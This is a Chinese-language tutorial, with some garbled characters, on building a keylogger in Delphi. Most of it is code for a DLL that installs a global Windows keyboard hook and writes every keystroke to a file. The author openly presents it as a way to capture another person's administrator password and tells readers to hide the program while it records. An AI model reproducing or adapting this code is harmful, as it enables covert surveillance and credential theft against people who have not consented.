Delphi編程使用HOOK監(jiān)視Windows
文中詳細(xì)介紹了如何通過Delphi編程使用HOOK監(jiān)視Windows的步驟,同時(shí)給出了程序?qū)嵗?/P>
每個(gè)程序都有自己的生存空間,在Windows系統(tǒng)中你可以在任何時(shí)候讓你的程序執(zhí)行一些操作,還可以觸發(fā)消息,觸發(fā)的消息分為三種,一是操作你程序的界面,onClick,onMouseMove等等,另外一個(gè)可以使用Windows的消息機(jī)制來捕獲一些系統(tǒng)消息,但是如果你想在任何時(shí)候監(jiān)控任何程序的情況那可能你就會(huì)選擇HOOK來實(shí)現(xiàn)了,雖然還有其他方法,但不得不承認(rèn),HOOK是一個(gè)比較簡(jiǎn)單解決問題的途徑。
下面就來舉個(gè)例子:
如果你需要訪問某個(gè)人的機(jī)器,那在運(yùn)行\(zhòng)\SB之后那個(gè)人就會(huì)在你機(jī)器上敲入他的adminsitrator密碼,當(dāng)然,你也可以使用黑客工具來得到他的密碼,但是,為什么不自己嘗試一下寫個(gè)程序記錄所有的鍵盤操作呢?
首先需要申明一點(diǎn),Hook不同于一般的應(yīng)用程序,需要作為一個(gè)全局DLL出現(xiàn),否則無法在你程序不激活的狀態(tài)捕獲其他信息的,(當(dāng)然你可以用Windows消息,這個(gè)問題不在這里討論)。
寫個(gè)DLL定義一下函數(shù)
- function setkeyhook:bool;export;
 - function endkeyhook:bool;export;
 - procedure keyhookexit;far;
 - procedure SetMainHandle(Handle: HWND); export;forward;
 - function keyboardhookhandler(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export;
 - procedure EntryPointProc(Reason: Integer);
 - const
 - hMapObject: THandle = 0;
 - begin
 - case reason of
 - DLL_PROCESS_ATTACH:
 - begin
 - hMapObject := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, SizeOf(THookRec), ’_CBT’);
 - rHookRec := MapViewOfFile(hMapObject, FILE_MAP_WRITE, 0, 0, 0);
 - end;
 - DLL_PROCESS_DETACH:
 - begin
 - try
 - UnMapViewOfFile(rHookRec);
 - CloseHandle(hMapObject);
 - except
 - end;
 - end;
 - end;
 - end;
 - procedure keyhookexit;far;
 - begin
 - if hNexthookproc<>0 then endkeyhook;
 - exitproc:=procsaveexit;
 - end;
 - function endkeyhook:bool;export;
 - begin
 - if hNexthookproc<>0 then
 - begin
 - unhookwindowshookex(hNexthookproc);
 - hNexthookproc:=0;
 - messagebeep(0);
 - end;
 - result:=hNexthookproc=0;
 - MainHandle:=0;
 - end;
 - function Setkeyhook:bool;export;
 - begin
 - hNexthookproc:=SetWindowsHookEx(WH_KEYBOARD ,keyboardhookhandler,HInstance,0);
 - result:=hNexthookproc<>0;
 - end;
 - function keyboardhookhandler(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export;
 - var
 - s:Tstringlist;
 - begin
 - if icode<0 then
 - begin
 - result:=CallNextHookEX(hNexthookproc,icode,wparam,lparam);
 - exit;
 - end;
 - if lparam<0 then
 - begin
 - exit;
 - end;
 - s:=TStringlist.Create;
 - if FileExists(afilename) then
 - s.LoadFromFile(afilename);
 - //將敲打的鍵盤字符保存到文件中
 - s.Add(formatdatetime(’YYYYMMDD hh:nn:ss:zzz: ’,now) + char(wParam) );
 - s.SaveToFile(afilename);
 - s.Free;
 - result:=0;
 - end;
 
Dll的Project文件中定義如下
- exports
 - setkeyhook index 1,
 - endkeyhook index 2,
 - SetMainHandle index 3;
 - begin
 - hNexthookproc:=0;
 - procsaveexit:=exitproc;
 - DllProc := @EntryPointProc;
 - EntryPointProc(DLL_PROCESS_ATTACH);
 - end;
 
這樣DLL就定義好了,接下來就是畫個(gè)界面:
- function setkeyhook:bool;external ’keyspy.dll’;
 - function endkeyhook:bool;external ’keyspy.dll’;
 - procedure SetMainHandle(Handle: HWND); external ’keyspy.dll’;
 - //開始捕獲鍵盤
 - SetMainHandle(handle);
 - setkeyhook
 - //中止捕獲鍵盤
 - endkeyhook
 
然后吧你程序隱蔽起來,啟動(dòng)捕獲鍵盤,在中止捕獲之前,所有鍵盤操作都會(huì)被記錄到你所定義的filename這個(gè)文件名中去,注:這些代碼是臨時(shí)寫的,僅是為了說明如何寫個(gè)hook程序。
另外Hook的功能不僅僅是簡(jiǎn)單使用,這就需要靠大家靈活運(yùn)用了,可以跟很多windows API來配合,通過很多技巧作出讓人意想不到的效果。
【編輯推薦】















 
 
 



 
 
 
 